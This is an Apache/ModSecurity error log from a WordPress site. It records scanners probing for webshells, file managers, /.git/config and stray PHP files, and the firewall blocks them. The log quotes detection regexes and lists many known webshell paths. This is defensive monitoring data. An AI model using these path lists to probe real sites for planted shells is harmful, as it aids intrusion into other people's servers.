[Tue Apr 07 21:36:32.896120 2026] [:error] [pid 37719:tid 37732] [client 185.245.82.81:53356] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/about.php"] [unique_id "adUIYE09Xv52u2xXGLA7ogAAAMo"]
[Tue Apr 07 21:36:34.495663 2026] [:error] [pid 37719:tid 37733] [client 185.245.82.81:53372] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ubh/"] [unique_id "adUIYk09Xv52u2xXGLA7rAAAAMs"]
[Tue Apr 07 21:36:35.008952 2026] [:error] [pid 37597:tid 37656] [client 185.245.82.81:53374] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ubh/"] [unique_id "adUIYw6uAY0QAy-8EEKlBQAAAFY"]
[Tue Apr 07 21:36:35.519841 2026] [:error] [pid 37719:tid 37741] [client 185.245.82.81:53388] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ubh/"] [unique_id "adUIY009Xv52u2xXGLA7rQAAANM"]
[Tue Apr 07 21:36:36.031821 2026] [:error] [pid 37597:tid 37636] [client 185.245.82.81:53394] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ubh/"] [unique_id "adUIZA6uAY0QAy-8EEKlCQAAAEI"]
[Tue Apr 07 21:36:36.545795 2026] [:error] [pid 59804:tid 59807] [client 185.245.82.81:53404] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/ubh/"] [unique_id "adUIZHYVIXiPh5_eJTm7NgAAAgE"]
[Tue Apr 07 22:32:30.161012 2026] [:error] [pid 12948:tid 12953] [client 159.89.55.133:46644] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adUVfsbeSPAN8LvMqsbFwAAAAQI"]
[Wed Apr 08 02:21:01.479363 2026] [:error] [pid 5246:tid 5255] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Wed Apr 08 02:21:01.731841 2026] [:error] [pid 5246:tid 5273] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/bogles.php
[Wed Apr 08 02:21:02.243780 2026] [:error] [pid 5246:tid 5258] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Wed Apr 08 02:21:02.497528 2026] [:error] [pid 5246:tid 5261] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/co.php
[Wed Apr 08 02:21:02.750946 2026] [:error] [pid 5246:tid 5263] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/database.php
[Wed Apr 08 02:21:04.593112 2026] [:error] [pid 5246:tid 5265] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/x123.php
[Wed Apr 08 02:21:04.845868 2026] [:error] [pid 5246:tid 5257] [client 20.107.189.116:4741] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Apr 08 08:38:41.958246 2026] [:error] [pid 47732:tid 47753] [client 137.184.76.146:45000] [client 137.184.76.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adWjkYm4N5QW9Mh7G12lTwAAANM"]
[Wed Apr 08 08:38:43.913712 2026] [:error] [pid 16630:tid 16643] [client 137.184.76.146:53322] [client 137.184.76.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adWjkyjfVAkPG-jgJEos7gAAAQs"]
[Wed Apr 08 09:25:42.171726 2026] [:error] [pid 47732:tid 47736] [client 103.168.67.159:64226] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adWulom4N5QW9Mh7G128YgAAAMI"]
[Wed Apr 08 09:25:42.874145 2026] [:error] [pid 544:tid 563] [client 103.168.67.159:64642] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adWuljieLKSoiLVA6YfDXwAAAY4"]
[Wed Apr 08 09:25:43.588805 2026] [:error] [pid 47626:tid 47691] [client 103.168.67.159:65008] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adWul6jWI8TWtHx2sdZKpAAAAFc"]
[Wed Apr 08 09:25:44.310255 2026] [:error] [pid 16630:tid 16642] [client 103.168.67.159:65388] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adWumCjfVAkPG-jgJEpRZQAAAQo"]
[Wed Apr 08 09:25:45.010124 2026] [:error] [pid 47626:tid 47684] [client 103.168.67.159:1232] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dashboard"] [unique_id "adWumajWI8TWtHx2sdZKqQAAAFA"]
[Wed Apr 08 09:25:45.717792 2026] [:error] [pid 47627:tid 47719] [client 103.168.67.159:1586] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dashboard"] [unique_id "adWumXOljf1Quv_kDjn1KgAAAJQ"]
[Wed Apr 08 09:25:46.418345 2026] [:error] [pid 49984:tid 50001] [client 103.168.67.159:1900] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dashboard"] [unique_id "adWumuYY_Bz5lRHcJIE-9wAAAUs"]
[Wed Apr 08 09:25:47.133532 2026] [:error] [pid 49984:tid 49993] [client 103.168.67.159:2070] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dashboard"] [unique_id "adWum-YY_Bz5lRHcJIE-_AAAAUM"]
[Wed Apr 08 10:36:49.766992 2026] [:error] [pid 16630:tid 16656] [client 137.184.76.146:42108] [client 137.184.76.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adW_QSjfVAkPG-jgJEpwFwAAARg"]
[Wed Apr 08 10:36:51.839664 2026] [:error] [pid 544:tid 572] [client 137.184.76.146:43412] [client 137.184.76.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adW_QzieLKSoiLVA6YfVdgAAAZc"]
[Wed Apr 08 20:41:40.492546 2026] [:error] [pid 7189:tid 7206] [client 216.24.210.3:54701] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adZNBBaBqhBSu0L37lrQhgAAAc8"]
[Wed Apr 08 21:10:45.521495 2026] [:error] [pid 7047:tid 7057] [client 129.153.94.60:55214] [client 129.153.94.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adZT1eNh3oGO3pKiCzwjXwAAAYg"]
[Thu Apr 09 05:07:10.050985 2026] [:error] [pid 20535:tid 20544] [client 137.220.224.18:45123] [client 137.220.224.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adbDfgWiD9hWnEUHWdMMkgAAAAA"], referer: https://www.google.com/
[Thu Apr 09 05:49:28.524864 2026] [:error] [pid 20535:tid 20566] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 09 05:49:28.793265 2026] [:error] [pid 20535:tid 20562] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 09 05:49:29.060686 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 09 05:49:29.328024 2026] [:error] [pid 20535:tid 20548] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 09 05:49:29.586020 2026] [:error] [pid 20535:tid 20544] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 09 05:49:29.872166 2026] [:error] [pid 20535:tid 20559] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 09 05:49:30.137576 2026] [:error] [pid 20535:tid 20545] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 09 05:49:30.390061 2026] [:error] [pid 20535:tid 20546] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 09 05:49:30.986400 2026] [:error] [pid 20535:tid 20550] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 09 05:49:31.291017 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 09 05:49:31.563996 2026] [:error] [pid 20535:tid 20560] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 09 05:49:31.838954 2026] [:error] [pid 20535:tid 20563] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 09 05:49:32.100618 2026] [:error] [pid 20535:tid 20562] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 09 05:49:32.351680 2026] [:error] [pid 20535:tid 20558] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 09 05:49:32.612049 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 09 05:49:32.871844 2026] [:error] [pid 20535:tid 20552] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 09 05:49:33.126306 2026] [:error] [pid 20535:tid 20544] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 09 05:49:33.382481 2026] [:error] [pid 20535:tid 20559] [client 89.251.0.105:62815] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 09 05:49:37.307414 2026] [:error] [pid 20535:tid 20545] [client 89.251.0.105:62815] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adbNcQWiD9hWnEUHWdMhcAAAAAE"]
[Thu Apr 09 05:49:38.630048 2026] [:error] [pid 20535:tid 20563] [client 89.251.0.92:35889] [client 89.251.0.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adbNcgWiD9hWnEUHWdMhdwAAABM"]
[Thu Apr 09 05:49:39.982751 2026] [:error] [pid 20536:tid 20595] [client 89.251.0.88:29071] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 09 05:49:40.777916 2026] [:error] [pid 20536:tid 20586] [client 89.251.0.88:29071] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adbNdMPqyUJM1s3YpIYgwgAAAE8"]
[Thu Apr 09 05:49:41.816297 2026] [:error] [pid 20537:tid 20605] [client 89.251.0.98:23123] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 09 05:49:42.099675 2026] [:error] [pid 20537:tid 20602] [client 89.251.0.98:23123] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adbNdsSTjpSeyrxLmN4TEQAAAIQ"]
[Thu Apr 09 05:49:42.912093 2026] [:error] [pid 22627:tid 22645] [client 89.251.0.77:52819] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 09 05:49:44.270279 2026] [:error] [pid 22627:tid 22644] [client 89.251.0.77:52819] [client 89.251.0.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adbNePr8glsF_jKQpr76XAAAAQ4"]
[Thu Apr 09 05:49:45.078571 2026] [:error] [pid 22627:tid 22650] [client 89.251.0.86:53743] [client 89.251.0.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adbNefr8glsF_jKQpr76YQAAARQ"]
[Thu Apr 09 05:49:45.602443 2026] [:error] [pid 20641:tid 20645] [client 89.251.0.91:47063] [client 89.251.0.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adbNeW3LksBSF-6rlkZrGQAAAMA"]
[Thu Apr 09 05:49:46.256745 2026] [:error] [pid 20641:tid 20657] [client 89.251.0.100:26911] [client 89.251.0.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adbNem3LksBSF-6rlkZrHAAAAMw"]
[Thu Apr 09 05:49:47.794391 2026] [:error] [pid 22627:tid 22643] [client 89.251.0.108:27269] [client 89.251.0.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adbNe_r8glsF_jKQpr76bQAAAQ0"]
[Thu Apr 09 05:49:49.753492 2026] [:error] [pid 20536:tid 20578] [client 89.251.0.89:21127] [client 89.251.0.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adbNfcPqyUJM1s3YpIYgywAAAEc"]
[Thu Apr 09 05:49:50.545344 2026] [:error] [pid 20536:tid 20593] [client 89.251.0.101:29711] [client 89.251.0.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adbNfsPqyUJM1s3YpIYg0AAAAFY"]
[Thu Apr 09 05:49:51.074704 2026] [:error] [pid 20641:tid 20651] [client 89.251.0.95:23481] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 09 05:49:52.148973 2026] [:error] [pid 20641:tid 20660] [client 89.251.0.95:23481] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "adbNgG3LksBSF-6rlkZrMQAAAM8"]
[Thu Apr 09 05:49:53.228063 2026] [:error] [pid 20641:tid 20659] [client 89.251.0.77:37055] [client 89.251.0.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adbNgW3LksBSF-6rlkZrNQAAAM4"]
[Thu Apr 09 05:49:54.530771 2026] [:error] [pid 20535:tid 20549] [client 2.57.169.2:30211] [client 2.57.169.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adbNggWiD9hWnEUHWdMhlwAAAAU"]
[Thu Apr 09 05:49:55.324869 2026] [:error] [pid 22627:tid 22636] [client 89.251.0.83:30949] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Thu Apr 09 05:49:55.591980 2026] [:error] [pid 22627:tid 22654] [client 89.251.0.83:30949] [client 89.251.0.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adbNg_r8glsF_jKQpr76fwAAARg"]
[Thu Apr 09 05:49:56.133271 2026] [:error] [pid 20536:tid 20591] [client 89.251.0.82:48693] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 09 05:49:56.958627 2026] [:error] [pid 20536:tid 20580] [client 89.251.0.82:48693] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 09 05:49:57.747524 2026] [:error] [pid 20536:tid 20591] [client 89.251.0.82:48693] [client 89.251.0.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adbNhcPqyUJM1s3YpIYg5QAAAFQ"]
[Thu Apr 09 05:49:58.272352 2026] [:error] [pid 22627:tid 22637] [client 89.251.0.81:38245] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 09 05:49:58.551439 2026] [:error] [pid 22627:tid 22649] [client 89.251.0.81:38245] [client 89.251.0.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adbNhvr8glsF_jKQpr76igAAARM"]
[Thu Apr 09 05:49:59.762178 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.79:48829] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 09 05:50:00.298354 2026] [:error] [pid 20535:tid 20546] [client 89.251.0.79:48829] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adbNiAWiD9hWnEUHWdMhpQAAAAI"]
[Thu Apr 09 05:50:01.175585 2026] [:error] [pid 20535:tid 20555] [client 89.251.0.86:24995] [client 89.251.0.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adbNiQWiD9hWnEUHWdMhqgAAAAs"]
[Thu Apr 09 05:50:02.732140 2026] [:error] [pid 20641:tid 20654] [client 89.251.0.79:34291] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Thu Apr 09 05:50:03.018424 2026] [:error] [pid 20641:tid 20660] [client 89.251.0.79:34291] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
